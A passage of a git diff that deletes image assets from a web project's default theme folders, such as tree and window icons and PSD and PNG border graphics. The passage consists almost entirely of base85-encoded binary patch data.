z00#d*{P_PLi2nZvyK9sf4FQ^mfZ|UUW(Ec>1|5)1pgh6A(Z?XlA>*-O!NF!$M-7&b z2M@Kd^GWGABrIrf5YP;mqG0Ic!oef1<ENsed*j@4Yk?RR_1qN#Xfm)wA diff --git a/public/images/default/tree/loading.gif b/public/images/default/tree/loading.gif deleted file mode 100644 index e846e1d6c58796558015ffee1fdec546bc207ee8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 771 zcmZ?wbhEHb6krfw*v!MQYQ=(yeQk4RPu{+D?cCXuwr^cCp}%d_ius2R?!0jBXnAQ) zOH<|l|Nj|aK=D7fpKD04vtxj(k)8oFBT!uNCkrbB0}q1^NDatX1{VJbCr|b)oWWMT zS%hVC ~NwO_yO%;SvZ5MdNYf|QNy-I*%yJaj+uTdt+qbZ z4E`Fzb8m}I&!N8OKmWEcCmrLs^Hs&3i)mt@hQVdcqghkaBs*D}tG_lKew4?rTjzIZ z9tSone1TS+TR7tu^CunG)Y7Jg#sw#)sG9C!c0I%LEzP)9;hqRf&)s$D8d5Db{TBs% zgl0~5QQ91luq4Q9tJgt4QLbaxZvAaKeCM9!oy85dg4k>TdBSVqjHub_PG=PO&J-rx z7oYTuF+kH|tG-UK+EkUhDjYx?zW?T|lx>+aOQm zzL$v$zBLo4Cj=G&tw{H}dW?tlTkS)SY4<#NS92z*EY-MMB6Ftp`R=*=*Ev7cS+X%W zMCur^FdlokL}1Y+&aasU2J4#EOuNlnb9CmqgLCGTSY!1BD42pkHY^XidQ5=>YQx%` z*%Pm9D!CkBu&tMWm(%-ejACVWGS2RX5=QOJ$1*tr7F}F+*-OA+Ly&Isg|AEuUYicA z#%IG6kPXkHt{zk2M6zK@Vu^4Q(1zE$?yY6M!^&jQ+2^E?!p7{g*|X6}vuRC3p@jk0 W117c83?+LXEZI4G$p&LV25SKE>nb+@ diff --git a/public/images/default/tree/s.gif b/public/images/default/tree/s.gif deleted file mode 100644 index 1d11fa9ada9e93505b3d736acb204083f45d5fbf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 43 scmZ?wbhEHbWMp7uX!y@?;J^U}1_s5SEQ~;kK?g*DWEhy3To@Uw0n;G|I{*Lx diff --git a/public/images/default/window/icon-error.gif b/public/images/default/window/icon-error.gif deleted file mode 100644 index 397b655ab83e5362fdc7eb0d18cf361c6f86bd9d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1669 zcmV;02738NNk%w1VITk?0QUd@0|NsJ0|X2J00{{R5ds1i7Z(~66B`>G9v&Vb001Kp z5h)oOFaQ8I0021w0Y3o&E-fxEFEBACCN(uSJUcx_0Rc|{08I)CQ~&^5003P90ZlnN zZ2HgaR#tRYR&iNbdS75? zU|?otXJ=+;Yin(FU|@V`YIb#ZeSCg?et>}h0EGYmiU0tO0055<5Rm`?kOl^o005Z) z0GmN+?~005%|1f>7~rUeD5005~41+4%8tpx?M0RglK2)Y6SybBAy92~17B(5YS zt0^g|FE6h$GP@!ovpPDDN=%4PP>)+%g=J@gYio~fZHaSpjd*yLX=#~kY?O0znsITT ze0->1U$sL+wn#|6N=l(?ZKHd8zjAWJ0s_Pf3(Ero%L)p|939OP64C(y(FzLN0RhLMcRH8%DjAoeXS{Ujv)EG+gtJ^wQ^{W?3v zNJh*-LCQ@{#8XqnUth>oR?f~+Utj)HQ~z6A@Lyo#VPouQYVB}x>v?Q{t%gd(L*0R{xyxG~vlatYag2Jb&>V$^kk(2*{ zf&Yw*|C5vdnwsaLq~@lni75b z|Ns8}{@~x^A^8LW00930EC2ui03ZM$000R70RIUbNDv$>R;N^%GKK1uH+KXhN+gI) zQmI(8v}vO?E0!usk6NLdNb;LSjN7_}3)gKMEm^BfQ9=}oWJFkzOv$3fZRN_A+GfF& z32BcxoBv$pj74i3x2G;S3XK)B)FeoEmXWL#snn`jv}gsDrLa^fQ>tQ`viiu;6mb&4 zIih50RjgR4R9RKTR}rL1lO$0B9ElMiAmt)9>blUBj4Y5687efWvLQo=T3ms|nUS42 zGT05w#%K~HN|L}(qt>OeA3m=K#Zlp_nV3Y10NJUdgV?}Dj3P~n6lR(~fAPA&<^wy< z3SY;ip*i$tjvF;7)cwO(hY@E;pU(dEJAMvK96x^EuyA(#I4D2W)wt>4TNE8YjvOf} zG)mrhfAgFX#~WKj)1E)1@X?1HY^b3I4=}g`${ckFf(Rmn_^}B+|J5T5Fy|aN${TUW z0S6mQFhRr!;UgPsq@e^7N-V$&6Kb%bq#Sa*Vdfi^>~mm0dsJzqm1!)YL=j6Upi2{A zuE7S7XQmMhKT=kc#-N0zk;D-~AfZ4mcqp-i8dkz#<`P*@Bc(t0{IW!$Ngy$V5I-1@ zizZxdisc(i!~o5u$IbJ_rv6JTkwg(c{D4CNyI4a65=m^j#u6#8*Ipi;`17AUTJ(BE z5kdIy0|yB7l8z8W9HFeL2U?Ou5|`ZbpQ}X_F@z60{NTU@$Nckz5JFhX#WM$9V(qqN zczc{Zzy$F_4?N^RzzK;Blf(}}6cGhE|5-BcwnvOnPkU1IumcV|U{F8}13B@74?zS0 z#dwzlam2`nic7|EPvkH$4mJotfiVMJGlaxG_)rEWKMWD>&Oe?)03;wIQ58SrAhy#rm+eCjRSRuH))@dW!7dZ& zW5o_u2R%03bq^haWeql1000EIv_ld+Sb#9`4TvW`^x8Ju-~j^zOmNFONd2>m2p`;_ zHs5>m&A|f!9AH8(f>-{JI5cc`2#jD0Go}*+k21NqFv0{8KoG$M PBfNl1GVhQS5C8x>^BLCH diff --git a/public/images/default/window/icon-info.gif b/public/images/default/window/icon-info.gif deleted file mode 100644 index 58281c3067b309779f5cf949a7196170c8ca97b9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1586 zcmV-22F>|LNk%w1VITk?0QUd@002Ay07w84PX`%A3LHrS9ajJYWB>?a019mY3w!_= zeheW`4kS_$BTNt{R2C>w87x&AE?6EhTN5*F88u@cHent&Zy_^VB{*RwJ!T<2Ybrfu zEanAeNJ0@02_k<8;bxSjRY)#049Cl8e5Y1_tY3bkWN(XQaEfVlk7;?7 zZF!SzdY5*8mt2auc!8LDgq&lBt7(C!V~et7k-lw{yKsuMageiql(2i8y-tSTQHA4U zhskM;!F86%bDF?tGlSHx~QzWsjj`Ou)c+z$A_QDf}_NMrOt$@%8RPR zi>%9lsM?CJ)Qqyzkfy4!pytE%CW@Nu*TlB$=|re)xF5pzRlaC#O0*M=&Huzs>kT8$>*ZV^`Xr3 zq{{ZD&GV%F^A_)Y{V6-P_#W#@Xx7+U3jK?!?;j!ruDO*W%II z<s1(&F;b=Ka&^{@UjA-Rbn(?f%pA|J?Ea z-}(RG-{a%sWQF}}=T6!l(LfBVqwLzTzdz--gr zA>~JRUspdjz=SD#uW#3T=*1z15PotP*O<}1TXI=rW8fk~GqY79KP}1YrcVGlvzs zDl$nW+ZJ<7GW-rh3M7OOB8UkZSwRrC?KL;(Q+JJH=Ywg3PC diff --git a/public/images/default/window/icon-question.gif b/public/images/default/window/icon-question.gif deleted file mode 100644 index 08abd82ae86c9457172c7a4fdbc527641cf28e48..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1607 zcmV-N2Dtf0Nk%w1VITk?0QUd@02fyP7F_@vT>uhh032%o9CQF5e-A8e03mY#BzglW zcL_0l6g7B5MoUafO-xQwNKjc)QdCG)VMGais%VD1YKp&Yk+f=&xOI)E zaEiQim9}=7y?K_jd6&3+oV;3t&|-(kYnQ@tj>UPC!+4gSZh?S#&mcD?Rw3D8!n4hVIpuCNxypy7?lBc|sslAz{ zv!1E8nykH`pQ59qrl_Z?tE#T5tFf-Ly0EXZv$D0gx4OH!y?~j^f}_NSpv#4+%#5bO zjit(rsl|+~%!H%Tg{shuuF;CD-i))_m#xK;uF0IQ!Je+okgwa9u*sgY$DOs#l(p29 zwb+%o+nKY|oV(kBuJ?(u=#RDcm$&DYyyKX=;G(m`qqxkgwZo{l%AmW~pu5Wy1~n_!_~3H*|^2hyUEtQ&D)~F!=r_S`L&GoF&_N~(Sv&!PL&+@j??Yq$Bv(odm+WouL^Ss^uzv2JK z#>vRX%gf5m#L3db&e_e*)63J`)6&(_)!NwC+uGXR!PV)++V9BJ>B`#d#N777-1y4d z^3d1g(%a?H-|XGp;>6+p%jEve=>OE=@803%+~e!f;quVt`_t+E+2!%y==0m`{@(Hb z;NRop*MI`>g(&|>+<34{Oa!Wf0xe!3Pge_@yBbqQDAy z^yqLDY^(Y`Bgb#Yy&t*SHt<)MmubQE= zM_%4K|K!o54GAF7UTBq*Ob!?g0o7_ijR4L$#5Cl7WQu5*Y1Gi(Bmg6D)2&N<*T z_(l=0(9+Fy7{;fLf+vi?iGtvWSYtTY0MiN@9f&f^H7LmFMINyXBrZBDyqCps^d=g7F3EF65lHnZVrI>UYlglJe zU~oq>afkv8HsRE$YQu zh#-bkqRKD4cwz`3RWxA(1Qnd&3}YuvgUT2`;GhH*Q&3SwBCD*Dh!i~7&_D!W@DWW; z1F;hgDs>bA#0Ei30Z1pS2x5T)7=Y0SG)EyV5IfR9lMEkstO3X(t9(I08OcCnvDYWD z6Ol7qAd-p~6!7sjC){4MV~P`tbU^{7d>1~=99ZDpN7scTEv^xRGv0Vk((EBd#a;&l F06QAMRrde@ diff --git a/public/images/default/window/icon-warning.gif b/public/images/default/window/icon-warning.gif deleted file mode 100644 index 27ff98b4f787f776e24227da0227bc781e3b11e8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1483 zcmXAoYc$k(9LB%H%(yfgGuR9b<4z3ocd29*O43CNd(`UWmQ=H)a>`a4DYpzOx}c(x zSlvdcWJ?+unZaR-H7>b~v1S^TyJ_?Ptx;{_9t|N0Ki69nENoJ2v3`>&g|W8&busa_So7*+dD)$ zvLc<>kt@t%F{f~h9qzG`vt^ZG;7|7JumJBhJ9Y+8Lf4suZE^fH#5_9C`L|tWUS6U8 z{=uOE0fBzowgqiH9`W<?y6`^?T9Sbi>kIro^$r3_Y4hFwk)R(#Q}G+VFY!jG?tX{A@K zA7Ak-yF;xiAyhqNys9yLRL-ovzEyCSA}UpDxeZO_LcSl+NfU}@28A3*bVbNWrHA>fZ4D_larvD z0o4={9|wFI(DV=ZJRp1#nxdfzI{Lyuvvho356v%?4p|^%j&Mta>}F3~{K0|F!GZpTzVLoC6_EgdgTr?dzB>V$ILvD;-4MrIlR(m27G@h~>JlYZ zVAt|_ro3YUVh;qD&xzwC(+MYO@wD@Y_NS8}VxR3300jn*@X<;}{z{$rL zTQ1Ygt3r~JNZK6NqxROCFAF5#=}AsXB5Gp!SiKu3HLoB=^T~;XI#AbK!S$~9M1UFk{5%nyiu}%*CZiIbNf<7_U*)eK2jmJEb7FxOYX=;RObGwm=_w(}-X91Z& zqYL6B`%{}cDrkMSM*JWx2`jXogS!VNpUr25HWVJ_hwMpzlk(}y+|3YZ)%_6gfm?u*PI1fu~NtNN%<%o?1bnQ|HcP z+A{@eE%wEmbNMT^8Mo3bU$&{4r}IL6UfVqFo%2t*Tz4deYD9aVZE~6`7TH{nSG#4; z<6vfan`>!V4h5%@)!a#Ahc&Ef--@I2iU;@wEYEC-zjIsI(0PM(`f?qQqf=C&8Tb?#p4A}3P=ZzHb8 zU%2?008r{GmdfTSw5X-f*JnevxfSlSM{Cc=no(Hy6^Zi{dugQHUH~t06Bw zQt4307HjGF&8-z0AF;fZZq8-%?^|4nr#0y83LDz+toN8`gZZg2p9Yd5@bP-%L)8(V zUmmP8OS8yf(llyk`BV+l3sY@pR^S)K>*+DB$}jc0e)m$1w?{Mi5Ahq5K8vj4mE(=f iL}jwpve+-)v>A%!R(IJo>4b>g=e!-tLq`xb9G_3G{0 zGdEv6d-+ygtj!51%UBZR7tG-B>_!@pqvPq~7*cWT?X^Hr1_hqO2g;KF>0Y)?neb;$ rtH-@3vsBJ|GJLS*We`|3`JPV9O%{pDFOA1RPGj(N^>bP0l+XkKCecH0 diff --git a/public/images/default/window/left-corners.psd b/public/images/default/window/left-corners.psd deleted file mode 100644 index 3d7f0623e03727a632cf003e22e11593d547de53..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15576 zcmeI1e^3-<7{}lDcK7c172LsrFbH>wVhuI%BO?1j;4ffmCc%<)CPO77wGtJH8DkKN zvKdW7$)+hFN{x{NQZx(GprDKf4pB~$KoLdMl;0e;Z11zs-VFT_IWTkFyze{vx#xZN zeRucy?sLz+w-*-qTpYqkDmZ|ca;b^9+hLK>&$6u8qwtm?BqLSqbA&!FhXCf2IpSP5 zggo9P{i$dM!a|eKidi4x zfe~`or3s2zo7{pj_T(#PN0y$^#Ma;O3tpYP!_MB_V}_^KoVotJaqW$vTu$aD?fhX+mk<5R{ivIbz5BziP4hj!ePN0LL5Kf*=i$Y2sSj0%M#)4G_3kj^dN zMIS6V_F2-)(QEg{@4IBo306n>?Ts$(j9H%a)WLvd8;Y}&k~bPQDERq{1XOVT@R3zT z{sq0-5&?afxSLN~0G&leed!0DtdLcXMC=dm>vSIZV8!-TMdr%mdGYBrLDeG_Isw(M zU$Xp$fF8be-QBm_u~b0%sPx_y^^K+dp4`sqHzT-G@?&Q%XEf&n${+=-9b$U~b&il=5o92>F@0C4S*uP!0LSq>g=xxqCDh z$PgA=B&(A$n&XiVc>?&%BT0UIkqLsO3+BE4M)Jn7t|!L!%p>`obp7|Hj7`|QB{5kW zXgMUY#-2Xnnb>mJr40G!OvcfX_k5-xn2(8<@BpKgDlnM}knfIJ7^amfFv$u)T!~qW zL$p!_CRYI#J#EgyS%rKL&g$XYCHx7N1s9=KCjzJ{TvW z7p!sUfj$bVffdGq83L1nYGA{0VBpP=)#;jnt{J980hatzKONUP^qQ?(0UB4<0%69y3#E2IL6&q!Uq=Rpjs4tz5?Mit0(?ST`<5Jh{POMDn=j@c;kE$^ r3VFIXhE&{2PDn^;Vsc|+GqPadUdIqEbJpV=P?o{d)z4*}Q$iB}hcqa_ diff --git a/public/images/default/window/left-right.psd b/public/images/default/window/left-right.psd deleted file mode 100644 index 59a3960a2353ebe4c9a22bde84cb79979f3150ad..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 24046 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 diff --git a/public/images/default/window/right-corners.psd b/public/images/default/window/right-corners.psd deleted file mode 100644 index 86d5095386123b82d2cf11b8308dd1e40459fd9a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15530 zcmeI12}~SS7{}k6nLRj~?k>Af5XvrxAQ6Ry3L4|4Xi*vsE)@@~F;uIT!~;q#R!!xo z)uypht+Z-PFI~})hN>+#^`KBdlxS&@1r)i;QLJ(;u!-ndFU z?hVIfH3V=ia=v&SEkb_JknvKq0%5@_bRgB*wE)!HJX6XfWTnAA;h5d z5041bN31j$^q8EckSmremCN-yjZUZkw@s+Vhe;4JEH)C7*f7I#V|~G8*jSxwl&GO-;uI*-972|-go~48IL@=@v+CB*p#(7cgwR|^PbyQShVBi zov*yQYwsIx?t80b|ADs;A36H|2bK>@KRW)&r=OiTS@HR)GgZ}RYijGhsc$@gq3OqF zYfEcqS9j0F-oE~UOT#0hW47^$N&6H=>`XX>e~O3Lj~R|*IR(UnnXTlCw8p{jjh16eys&)26}8rZI&jwcEb^b;}T6Rcji#e)*Im)rtEp z!~9ou5p?YDJh-kerY>3sXDoJ73%0vp(2n51!5s*G`*C?A&zl{=B~FHI)K- zxR_4;9~{^{#P@Xt4Gv`NiY_~CerM0v`hxG2=DlqdRS9=)DgAhx*MTg)-r{Jk|6XW8 zP|?}TVu?_pImfNazC93Fwf}4(ewL z>Va$KfdjIWf_mV#dEg+$9I859Gc3v*b78;Pm*UkpzM8BV9JsOCIgTCkf(_=07z1?$ zMq!MCdf=jYz{8WFpdPqw9`K}?Lsh412D)Zg6bCr+PyJF{>(G04Z3k#xx%Tr}s&~in zB}gD&EXPZn1K2i;9#C`WfUbykP(Mj%1JwesN@xOgo`QPdnt3n<*-1e?aN9hXBE=l4 zI)98*b~~;*=KKxYXYnhjISfKq#3fJz68b>(0xnAE21P+VaM3*A;mJ@?58O5ncv8%v ws`Cw`vh%p5!8wWfd0_(Pi5LfU1#B=zK|OHMJaEF3p`aePZ5}vDF^8)D2iAzm(f|Me diff --git a/public/images/default/window/top-bottom.png b/public/images/default/window/top-bottom.png deleted file mode 100644 index 33779e76b8d7407100e44ea79974d9c8300a9573..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 180 zcmeAS@N?(olHy`uVBq!ia0vp^tPBi{IvmVEmQ8BsTp-0>;_2(keuJA`M46>3v~?a( zh_k>WvY3HE?hptw=3OYY0}8UFJNh~@Fl_AS{*wqagn>W6C&aaH$-&1j-=4eq{LGE# z&tAPX^Htvrl+y5YaSW-rm7Ku9EGCeUz}6TziDeQei`&V-qA4<}?k5%9jG7phFtISq X*w3@FDdO@&pdJQKS3j3^P6ByFLC0SbGILMNfn2AEL9TNJdvzFGjh_owq zSFw{{K-2QCGe95H&U7X`T7E)HA3yq|Kxyf;FcU&}7YdZ;v=AQQ(J4he=k7z2?U3vc z!VJA9bI;y;?m74I-E;5WyUtZ=Z1)u5h)ErUaAAo0h@W^((au0>Y@*O{DNU_5Wlc`= zHeouQ9oe>6lZyLgBRC_^m6ffb6Tka?C|E9S4ed=7qJ>&ko-gk>q{&l0!)6rDWqR?m$#74BzYfja-;Qnxs)D`@qBbV zn;gr;lerwvXOc-i6N_iYV|0;8QRi&8Yk`dR2Ru|OACOCVO|4Q-tVxBT3JY{2+*|jtVR|aTlOKa@$Yj!`U7VGHqPWOc~>wb&f*>-cI zJbQ|P#hm5Njned0S{Zslr{yR=5?Ll|fraMn!-1&OaT?>=iWK3ITehwFOKq<`jcsfG zQro8K9;IxI3RZPX#7nJqLB|frx$>N>gH2*MEF_W;QV_(jFf4?HWE=v>Qt@yi7KOk= z9OS83SP+N9u_zyo@hJ#mI3YlY2_S=Vl2Hhto5XYi@*%|HG2!y@Ogt4AW3hZbmdwOs z`K%Bf9~V-IWIQoG9v_BzKyhqqnbqvGwoJ>5#<4V!mL`f=qe#mXu_Z#39}a`thQZat!{KB&6&Aw)4bO*p zA{S+QfA)8;Btk4 zD`n{S+QfA)8;Btk4D`n(6KkG?r+)VTOD5q@O4VKm0G`T7;tx1XwcerGw zc+hO+dYZEl_$o3@G$IiNs;j|MBQnH`UAXit0Jr|E9WfmwC*&@_~fHe1XayggVSB@e~s0~+5!BD1rQQvu#d zC7dO>{l`CXBm(4cEV8lNYRB7;Q};vpPO znf}tmF>2;=W-hiH`+|sgslJ~|5Gjy(t}uf&1~}e?G|RdWlb#QOp_OHWGNoRrzyohl z`)4Fw-X&G#>G6HjkoJ*1;3+cr2~sEA7FJ67RWsKWA!UurWYORuMeCV{o3RyDnL}ly zo${>FnjSOMs+p#Dx5?z(yq)g@^-dk`s>=E`m7O}IxVCzHG!MjUAav2hM6RXmt~pJu z*V;s#s#b>E-Lg`zf=yt23QLEZcOZlGDyeR$+hs-8;KFhV1O%@Bfs>^_BUFJmFvp@4y#9 z<1G@Px5mGfEf7!RZPG_mqy$!A@f0?(185-W|XE_U7De z)1~nT?=*(bKep#(`MvuN|KaiaKimq}_CDc4~c5kH33qCpMsKbK=2c(1<(FFOBaRHsqI`CY-tjTbfO1JWB#z zTIT@SMo#X#`@a`$dsO{&d{g}U#~)T3M^CQ1bz;|p4bphbi5+udk2|sBPV5OM_M{Vg z%85aFw<+q05JwM|Y83_LTL^_&GNBN-r^Ak`6 z@gCvKdU5}9#N(9jJL0wD=6eZrJ2|h_M%X(v`@wB&_JiBp+7A!slriLKmW}ly!HPg} zpif+l`j4R4_m`?#!(|oM73?cg7X)ygCfR!rkZ>4p<}_oryu*&1>WL;;0t*ZS<^%tq zKG0k?2!|_D^EA*mEopPIF(n&DS((FqxF3}ZhLLUCkN23j%&)FXxOc|Yi;Pu*_U@mq zP}?=7Ej?Lk&!5&5-QJq^N~Kc4`Yj$?)-zkK$a(rZHuknW??|9N-|k)8g*Zfd%8DUt 